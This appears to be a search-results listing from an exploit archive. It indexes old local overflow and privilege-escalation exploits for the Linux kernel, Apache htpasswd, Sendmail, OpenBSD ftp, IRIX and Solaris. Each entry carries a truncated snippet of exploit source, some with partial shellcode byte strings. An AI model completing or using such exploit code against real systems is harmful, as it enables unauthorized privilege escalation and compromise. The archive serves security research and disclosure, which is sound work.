188 matches found
Linux Kernel <= 2.6.9, <= 2.4.28 vc_resize int Local Overflow Exploit
Exploit for linux platform in category dos / poc ===================================================================== Linux Kernel include include include include include include include include include int mainint ac, char av int fd; struct vtconsize vv; int cou=4242; fd=open"/dev/tty",ORDWR; i...
Linux Kernel 2.4.28/2.6.9 - 'ip_options_get' Local Overflow
/ int overflow in ipoptionsget Copyright Georgi Guninski Cannot be used in vulnerability databases like securityfocus and mitre / include include include include include include include include include include int mainint ac,char av struct msghdr msghdr; struct iovec iovector10; int i,s; struct...
Linux Kernel 2.4.28/2.6.9 - vc_resize int Local Overflow
/ vcresize int overflow Copyright Georgi Guninski Cannot be used in vulnerability databases / include include include include include include include include include include int mainint ac, char av int fd; struct vtconsize vv; int cou=4242; fd=open"/dev/tty",ORDWR; if fd0 perror"open";return -42;...
htpasswd Apache 1.3.31 - Local Overflow
!/usr/bin/perl Proof Of Concept exploit for htpasswd of Apache. Read the advisory for more information. - Luiz Fernando Camargo - foxtrotatflowsecurity.org $shellcode = "\x31\xdb\x6a\x17\x58\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68"...
htpasswd Apache 1.3.31 - Local Overflow
htpasswd Apache 1.3.31 - Local Overflow !/usr/bin/perl Proof Of Concept exploit for htpasswd of Apache. Read the advisory for more information. - Luiz Fernando Camargo - foxtrotatflowsecurity.org $shellcode = "\x31\xdb\x6a\x17\x58\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68"...
Apache < 2.0.51 ${ENVVAR} Local Overflow
Binary data 2290.prm...
Sendmail < 8.6.8 Long Debug Local Overflow
Binary data 2016.prm...
Sendmail < 8.7.6 GECOS Field Local Overflow DoS
Binary data 2044.prm...
Sendmail < 8.8.3 Local Overflow
Binary data 2029.prm...
IBM DB2 - 'db2start' Command Line Argument Local Overflow
source: https://www.securityfocus.com/bid/8990/info IBM DB2 has been reported to be prone to multiple buffer overflow vulnerabilities that present themselves in binaries that are shipped with DB2. The vulnerabilities are likely caused due to a lack of sufficient boundary checks performed on user...
SRT Security Advisory (SRT2002-04-31-1159): Mnews
====================================================================== Strategic Reconnaissance Team Security Advisory SRT2002-04-31-1159 Topic : Mnews local and remote overflow vulnerabilities Date : May 31, 2002 Credit : zillionatsafemode.org Site : http://www.snosoft.com...
OpenBSD - ftp Local Overflow
OpenBSD - ftp Local Overflow / 7350-crocodile - x86/OpenBSD ftp exploit by lorian and scut / TESO=20 TESO CONFIDENTIAL - SOURCE MATERIALS This is unpublished proprietary source code of TESO Security. The contents of these coded instructions, statements and computer programs may not be disclosed t...
OpenBSD - 'ftp' Local Overflow
/ 7350-crocodile - x86/OpenBSD ftp exploit by lorian and scut / TESO=20 TESO CONFIDENTIAL - SOURCE MATERIALS This is unpublished proprietary source code of TESO Security. The contents of these coded instructions, statements and computer programs may not be disclosed to third parties, copied or...
IRIX 5.36.26.36.46.56.5.11 - usrbinlpstat Local Overflow Local Privilege Escalation
IRIX 5.36.26.36.46.56.5.11 - usrbinlpstat Local Overflow Local Privilege Escalation !/bin/sh copyright LAST STAGE OF DELIRIUM jul 2000 poland ://lsd-pl.net/ /usr/bin/lpstat EXECUTABLE=/usr/bin/lpstat FILE=file LIBRARY=lsd DIRECTORY=tmp cd $DIRECTORY cat $FILE $FILE chmod 666 $FILE cat $LIBRARY.c...
IRIX 5.3/6.2/6.3/6.4/6.5/6.5.11 - '/usr/bin/lpstat' Local Overflow / Local Privilege Escalation
!/bin/sh copyright LAST STAGE OF DELIRIUM jul 2000 poland ://lsd-pl.net/ /usr/bin/lpstat EXECUTABLE=/usr/bin/lpstat FILE=file LIBRARY=lsd DIRECTORY=tmp cd $DIRECTORY cat $FILE $FILE chmod 666 $FILE cat $LIBRARY.c 'EOF' OpenConn printf"copyright LAST STAGE OF DELIRIUM jul 2000 poland...
Solaris 2.6 / 2.7 /usr/bin/write Local Overflow Exploit
Exploit for solaris platform in category local exploits ======================================================= Solaris 2.6 / 2.7 /usr/bin/write Local Overflow Exploit ======================================================= include include / /usr/bin/write overflow proof of conecpt. Tested on...
Solaris 78-beta - ARP Local Overflow
Solaris 78-beta - ARP Local Overflow / arp overflow proof of concept by [email protected] shellcode originally written by Cheez Whiz. tested on x86 solaris 7,8beta default should work. if not, arg1 = offset. +- by 100's Copyright Security-Focus.com, 11/2000 / long getesp asm"movl %esp,%eax"...
Solaris 7 / 8-beta arp Local Overflow Exploit
Exploit for solaris platform in category local exploits ============================================= Solaris 7 / 8-beta arp Local Overflow Exploit ============================================= / arp overflow proof of concept by email protected shellcode originally written by Cheez Whiz. tested o...
Seyon 2.1 rev. 4b i586-Linux (RedHat 4.05.1) - Local Overflow
Seyon 2.1 rev. 4b i586-Linux RedHat 4.05.1 - Local Overflow !/usr/bin/perl c Copyright [email protected] / anno domani 2000 Seyon Exploit / Tested Version 2.1 rev. 4b i586-Linux Tested on: RedHat 4.0/5.1 Greets: scrippie, @HWA, grazer, mixter, pr0ix, s\ http://www.digit-labs.org/ ||...
Solaris 7/8-beta - ARP Local Overflow
/ arp overflow proof of concept by [email protected] shellcode originally written by Cheez Whiz. tested on x86 solaris 7,8beta default should work. if not, arg1 = offset. +- by 100's Copyright Security-Focus.com, 11/2000 / long getesp asm"movl %esp,%eax"; int mainint ac, char av char shell ...